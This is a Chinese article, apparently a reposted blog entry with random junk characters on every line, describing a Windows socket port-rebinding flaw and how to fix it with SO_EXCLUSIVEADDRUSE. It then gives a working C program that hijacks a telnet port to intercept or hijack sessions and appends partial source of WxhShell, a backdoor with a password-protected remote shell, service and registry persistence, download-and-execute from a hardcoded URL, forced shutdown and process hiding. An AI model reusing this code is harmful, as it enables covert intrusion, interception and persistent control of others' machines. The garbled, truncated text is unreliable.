在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
9m"EY@- s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
( pCU:'" Oo~
saddr.sin_family = AF_INET;
?2gXF0+~Y2 /p}pdXS saddr.sin_addr.s_addr = htonl(INADDR_ANY);
hfvC-f97L
z'5 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
[KW)z#`* ij}{H#0S- 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
3@0!]z^W yZmeke)_ 这意味着什么?意味着可以进行如下的攻击:
y"_rDj` ],zp~yVU& 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
*iSE)[W SK@lr 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
'+GYw$ =[TXH^.0 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
{XnBj}C W:8{}Iu< 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
A(+V{1L' zP$"6~. 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
cA90FqUH GN+,9 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
Gy'/)}}Z J!QIMA4{ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
K@"B^f0mU +Q :)zE #include
#zb6 7mg~ #include
?uF3Q)rCk #include
l5enlYH #include
!Okl3
!fC DWORD WINAPI ClientThread(LPVOID lpParam);
lvR>%I0`* int main()
&mba{O {
j}G9+GX~, WORD wVersionRequested;
=<P$mFP2* DWORD ret;
h~=~csya: WSADATA wsaData;
a,xy38T< BOOL val;
L*{E-m/ SOCKADDR_IN saddr;
:{-/b SOCKADDR_IN scaddr;
$o
;48uV^ int err;
GCxmqoQ SOCKET s;
iW[%|ddk SOCKET sc;
h~Z:YY)4 int caddsize;
b>& 3XDz HANDLE mt;
kr44@!s+' DWORD tid;
1[e%E#h wVersionRequested = MAKEWORD( 2, 2 );
{@ tO9pc`8 err = WSAStartup( wVersionRequested, &wsaData );
Ai`0Ud,M@ if ( err != 0 ) {
* YLpC^& printf("error!WSAStartup failed!\n");
VF~kjH2> return -1;
c$;Cpt@-j }
%(r.`I$ saddr.sin_family = AF_INET;
jGDuKb@: ;a(7% //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
aM\Ph&c7e' J
c:j7}OOV saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
WG&WPV/p saddr.sin_port = htons(23);
.ITTY QHv) if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
-[z1r)RZ {
Et;Ubj"+ printf("error!socket failed!\n");
jZ,=tF return -1;
75c\.=G9q< }
4CxU
eq val = TRUE;
4B-+DH>{6 //SO_REUSEADDR选项就是可以实现端口重绑定的
cu4 |!s`# if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
1@q"rPE^ {
x!fRT.,} printf("error!setsockopt failed!\n");
N1dM,H return -1;
d.y-R#F_] }
0E^S!A7 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
A/~^4DR //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
"iuNYM5P //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Nbt.y 'd )24
1-b V if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
8HDI] {
MVp+2@)}s ret=GetLastError();
cXt]55" printf("error!bind failed!\n");
3Zm;:v4y return -1;
jjg[v""3| }
Nkk+*(Z listen(s,2);
&C6*"JZ4 while(1)
mHc5NkvQC {
L ?S#3@Pa caddsize = sizeof(scaddr);
Az6tu < //接受连接请求
`m-7L sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
|p*s:*TJp if(sc!=INVALID_SOCKET)
]KQBek#DD {
\Yh*ywwP# mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
I/go$@E" if(mt==NULL)
M"yOWD~s~ {
!1Nh`FN printf("Thread Creat Failed!\n");
okTqq=xd` break;
RM>A9nv$\ }
0 KA@]! }
]U,m
1 CloseHandle(mt);
5aNvGI1 }
|qpFR)l closesocket(s);
12tk$FcY8* WSACleanup();
WG
+] return 0;
pRA%07?W }
2x~Pq_?y DWORD WINAPI ClientThread(LPVOID lpParam)
FSYs1Li_C {
0bteI*L SOCKET ss = (SOCKET)lpParam;
~Gl5O`w( SOCKET sc;
~U5Tn3'~ unsigned char buf[4096];
8y;gs1d;A SOCKADDR_IN saddr;
$.4N@=s,?c long num;
*0'< DnGW DWORD val;
X XxH<E$p DWORD ret;
g!^mewtd //如果是隐藏端口应用的话,可以在此处加一些判断
~cV";cD5 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
H'Jz:6 saddr.sin_family = AF_INET;
c-U]3`;Q saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
. Ctd$ saddr.sin_port = htons(23);
`>
+:38 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
1'|gxYT {
TSVlZy~Xo printf("error!socket failed!\n");
N_d{E/ return -1;
,P=.x% }
jwSPLq% val = 100;
q>.C5t'Qx if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
tToP7q^ {
t:b}Mo0 ret = GetLastError();
uzhTNf return -1;
w:x[kA }
syCT)}T6z if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
b*ja,I4 {
IkO[R1K ret = GetLastError();
D[)_
f return -1;
}zqo<o }
JL>DRIR%NV if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
[I/ZzDMX {
x=kJlGT printf("error!socket connect failed!\n");
`U&'71B^ closesocket(sc);
g |H closesocket(ss);
#qv!1$}2 return -1;
(LJ7xoJ^ }
kSEgq<i! while(1)
*Ea)b- {
oTrit_@3 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
|9X2AS Qu //如果是嗅探内容的话,可以再此处进行内容分析和记录
2/\I/QkTs //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
5rmQ:8_5 num = recv(ss,buf,4096,0);
EAy@kzY? if(num>0)
:#cJZ\YH send(sc,buf,num,0);
dI>cPqQ else if(num==0)
q_9 8=fyE6 break;
\S&OAe/b num = recv(sc,buf,4096,0);
Zr =B8wuT if(num>0)
zKp R:F send(ss,buf,num,0);
7P]i|Q{ else if(num==0)
T(Bcp^N break;
vU(fd!V ? }
m/,80J8L+f closesocket(ss);
(:\L@j closesocket(sc);
HLQ>
|,9 return 0 ;
I
zVc }
*`LrvE@t J:O&2g"g
1_l)$" ==========================================================
kUfb B#.5L ei"c|/pO 下边附上一个代码,,WXhSHELL
^bfU>02Q6p @(+\*]?^& ==========================================================
Br.UN~q Qvel#*-4 #include "stdafx.h"
pred{HEye Y88N*axDW. #include <stdio.h>
'-Oh$hqCx| #include <string.h>
4bL? V^@7 #include <windows.h>
5.DmMG[T^= #include <winsock2.h>
'Yh`B8 #include <winsvc.h>
\RRSrPLd- #include <urlmon.h>
Qwve-[ 0AF,} &$ #pragma comment (lib, "Ws2_32.lib")
)>U"WZ'< #pragma comment (lib, "urlmon.lib")
OW@"j;6
3` B-$zioZ #define MAX_USER 100 // 最大客户端连接数
N9s.nu #define BUF_SOCK 200 // sock buffer
WFhppi #define KEY_BUFF 255 // 输入 buffer
/3VO!V]u B9$pG #define REBOOT 0 // 重启
O*!f%} #define SHUTDOWN 1 // 关机
l*huKSX} {u9n?Z% #define DEF_PORT 5000 // 监听端口
\I^"^'CP 0c1=M|2 #define REG_LEN 16 // 注册表键长度
!%DE(E*'(
#define SVC_LEN 80 // NT服务名长度
/m,i,NX07 -#R`n'/ // 从dll定义API
)?$@cvf typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
^:mKTiA- typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
TTbJ9O<43 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
U2tgBF?)A typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
mAY/J0_ ~D`R"vzw= // wxhshell配置信息
PRx- 0S struct WSCFG {
Ciz,1IV int ws_port; // 监听端口
E:+r.r"Y char ws_passstr[REG_LEN]; // 口令
J><hrZ int ws_autoins; // 安装标记, 1=yes 0=no
%++S;#)~ char ws_regname[REG_LEN]; // 注册表键名
Aq7`A^1t$ char ws_svcname[REG_LEN]; // 服务名
.F2"tt?' char ws_svcdisp[SVC_LEN]; // 服务显示名
"u&7Y:)^wr char ws_svcdesc[SVC_LEN]; // 服务描述信息
/u`Opv&I char ws_passmsg[SVC_LEN]; // 密码输入提示信息
kmo#jITa` int ws_downexe; // 下载执行标记, 1=yes 0=no
Ag*?>I char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
u,}>I%21 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
.sOZ "=tW u$aN~6HG };
4:733Q3oK Eza^Tbq%j? // default Wxhshell configuration
$: 1/`m19 struct WSCFG wscfg={DEF_PORT,
;=E}PbZt2 "xuhuanlingzhe",
g>'6"p; 1,
m^0 I3; "Wxhshell",
"LW\osjen "Wxhshell",
TDy)A2Z "WxhShell Service",
oL }d=x/ "Wrsky Windows CmdShell Service",
_ouZd. "Please Input Your Password: ",
odJE~\\hw 1,
-*Qg^1]i+ "
http://www.wrsky.com/wxhshell.exe",
GukwN]*OY "Wxhshell.exe"
*UJB*r };
+l!.<:sp ) te_ <W // 消息定义模块
3[l\l5'm8 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
p]Qe5@NT char *msg_ws_prompt="\n\r? for help\n\r#>";
b
j<T`M! char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
AXi4{Q, char *msg_ws_ext="\n\rExit.";
6W7,EIf char *msg_ws_end="\n\rQuit.";
hp}rCy|01 char *msg_ws_boot="\n\rReboot...";
+9')G-`qj char *msg_ws_poff="\n\rShutdown...";
6z/&j} ( char *msg_ws_down="\n\rSave to ";
K:Z,4Y ;ByCtVm2 char *msg_ws_err="\n\rErr!";
<5CQ#^cK char *msg_ws_ok="\n\rOK!";
Do^yer~ Q&%gpa).W char ExeFile[MAX_PATH];
7)Tix7:9S; int nUser = 0;
\,:7= HANDLE handles[MAX_USER];
#>BC|/P} int OsIsNt;
KVViTpZ 4j i#Q SERVICE_STATUS serviceStatus;
98_os2` SERVICE_STATUS_HANDLE hServiceStatusHandle;
vt5>>rl YhAO // 函数声明
KK-+vq int Install(void);
c\tw#;\9 int Uninstall(void);
w>Ft5"z int DownloadFile(char *sURL, SOCKET wsh);
zx"0^r} int Boot(int flag);
a<+Rw{ void HideProc(void);
mt e3k=17 int GetOsVer(void);
G`;mSq6i int Wxhshell(SOCKET wsl);
Z vyF"4QN void TalkWithClient(void *cs);
5VfpeA` int CmdShell(SOCKET sock);
%VXIiu[ int StartFromService(void);
`<Hc,D; p int StartWxhshell(LPSTR lpCmdLine);
soKR*gJ, E!I4I' VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
pMp@W`i^6 VOID WINAPI NTServiceHandler( DWORD fdwControl );
td#m>S *1>T c,mb // 数据结构和表定义
7bJM
$
SERVICE_TABLE_ENTRY DispatchTable[] =
R~N%sn {
: R8+jO {wscfg.ws_svcname, NTServiceMain},
xelh!AtE {NULL, NULL}
u9+)jN<Yh };
)*o) iN 7l X<1ymb3 // 自我安装
^4saB+qm int Install(void)
H@k$sZ. {
~<osL char svExeFile[MAX_PATH];
`WQpGBS_z_ HKEY key;
O9p^P%U " strcpy(svExeFile,ExeFile);
Ew9MWlk i l%9j // 如果是win9x系统,修改注册表设为自启动
Uf$IH!5;Z if(!OsIsNt) {
/J,&G:
Er if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
+.hJ[|F1& RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
CR|>?9V RegCloseKey(key);
fAvB!e if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
\l 3M\$oS> RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
]08~bL1Q RegCloseKey(key);
\z2d=E return 0;
?
5hwz }
vF@.BM> }
r8L'C }
Z,b^f
Vw else {
yhyh\. 8ZO~=e // 如果是NT以上系统,安装为系统服务
xtp55"g SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
)/tdiRpn if (schSCManager!=0)
<^8OYnp {
)v.\4Q4 SC_HANDLE schService = CreateService
iWn7vv/t (
i"hn%u$V schSCManager,
;nf}O87~ wscfg.ws_svcname,
zPb"6%1B wscfg.ws_svcdisp,
6IM:Xj SERVICE_ALL_ACCESS,
G@S'_ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
^EKf_w-v SERVICE_AUTO_START,
2l4`h)_q SERVICE_ERROR_NORMAL,
&44?k: svExeFile,
XecU& NULL,
\Ng[lN NULL,
sk`RaDq@; NULL,
rHgrCMW NULL,
~9+\ NULL
h$fC/Juit );
eD 7Rv< if (schService!=0)
i{ /nHrN {
1uhSP!b CloseServiceHandle(schService);
= G3A} CloseServiceHandle(schSCManager);
!GVxQll[f strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
Yy0m &3[ strcat(svExeFile,wscfg.ws_svcname);
[x|{VJ(h if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
H=9\B} RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
h%@#jvh?4 RegCloseKey(key);
aMjCqu05 return 0;
]dIr;x` }
Mxe }
r7p>`>_Q\ CloseServiceHandle(schSCManager);
yh Ymbu }
tt>=Vt' }
gs77")K& uw@|Y{(K r return 1;
E^.
=^bR }
J&6]3x -f:uNF]Ls // 自我卸载
jVu3 !{} int Uninstall(void)
OC[(Eq {
c8jq.y v HKEY key;
n_*k
e g @lAk%V4 if(!OsIsNt) {
1{V* (=Tp if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
#VEHyz 6P RegDeleteValue(key,wscfg.ws_regname);
07+Qai-] RegCloseKey(key);
2xd G&}$fa if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
r
yO\$m RegDeleteValue(key,wscfg.ws_regname);
D?Q{&6p RegCloseKey(key);
:
LI*#~'Ka return 0;
up7]Yy;o= }
rB:W\5~7 }
bmO[9
)G }
p`JD8c else {
`D%bZ%25c l8hOr yB& SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
r#pC0Yj!3 if (schSCManager!=0)
Xu:Sh<:R {
!}^{W)h[ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
dg1h<]T"9 if (schService!=0)
HLU'1As65 {
3B|o if(DeleteService(schService)!=0) {
mPxph>o CloseServiceHandle(schService);
eJ#q! < CloseServiceHandle(schSCManager);
GKwm %A return 0;
7PZ0 }
_S#uxgL< CloseServiceHandle(schService);
$R7n1 }
Ed)t87E CloseServiceHandle(schSCManager);
MDS;qZx= }
>T4.mB7+> }
.4~n|d>z TCFx+*fBd return 1;
j']m*aM1> }
`2?9eXC R;f!s/^) // 从指定url下载文件
w7]@QTC int DownloadFile(char *sURL, SOCKET wsh)
".eD&oX{ {
W@1Nit-R HRESULT hr;
Qsc%qt-l char seps[]= "/";
0Q=4{*:? char *token;
-Vk+zEht char *file;
vO"Sy{)Z> char myURL[MAX_PATH];
q7C>A`w char myFILE[MAX_PATH];
ayuj)]b K<KyX8$P0 strcpy(myURL,sURL);
XFPWW , token=strtok(myURL,seps);
wz5xJ:T j while(token!=NULL)
mh!;W=|/" {
Zycu3%JI file=token;
B]q
&?~ token=strtok(NULL,seps);
Ex~[Hk4ow }
"EQ-`b=I4 GH=`'s_ int Boot(int flag)
*? 7Ie;) {
iVzv/Lqm1 HANDLE hToken;
MVK=' TOKEN_PRIVILEGES tkp;
eXWiTi@ /NaIMo5 if(OsIsNt) {
=9GL;z:R+ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
jm'(t=Ze LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
UwrinkoeE tkp.PrivilegeCount = 1;
y iE[^2Pv tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
' D+h_*H AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
wX" 6 S: if(flag==REBOOT) {
"d>{hP if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
z,[4BM return 0;
(Kd;l&8 }
K_',Gd4L else {
abUvU26t if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
&xMR{: return 0;
+.whEw(i }
c 's=>-X }
{3]g3mj else {
ngj=w;7~+ if(flag==REBOOT) {
*<#jr if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
u{yENZ^P return 0;
v-J*PB.0p }
R_:47.qq else {
NduvfA4 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
V03U"eI=" return 0;
,5HQHo@ }
z;@;jQ7 }
q
[Rqy !, uOc:^ return 1;
ByoSwQ }
e)LRD&Q N%%2!Z# // win9x进程隐藏模块
\RyOexNZ void HideProc(void)
vF0#] {
k{(R.gLZG Lz's!b HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
b[<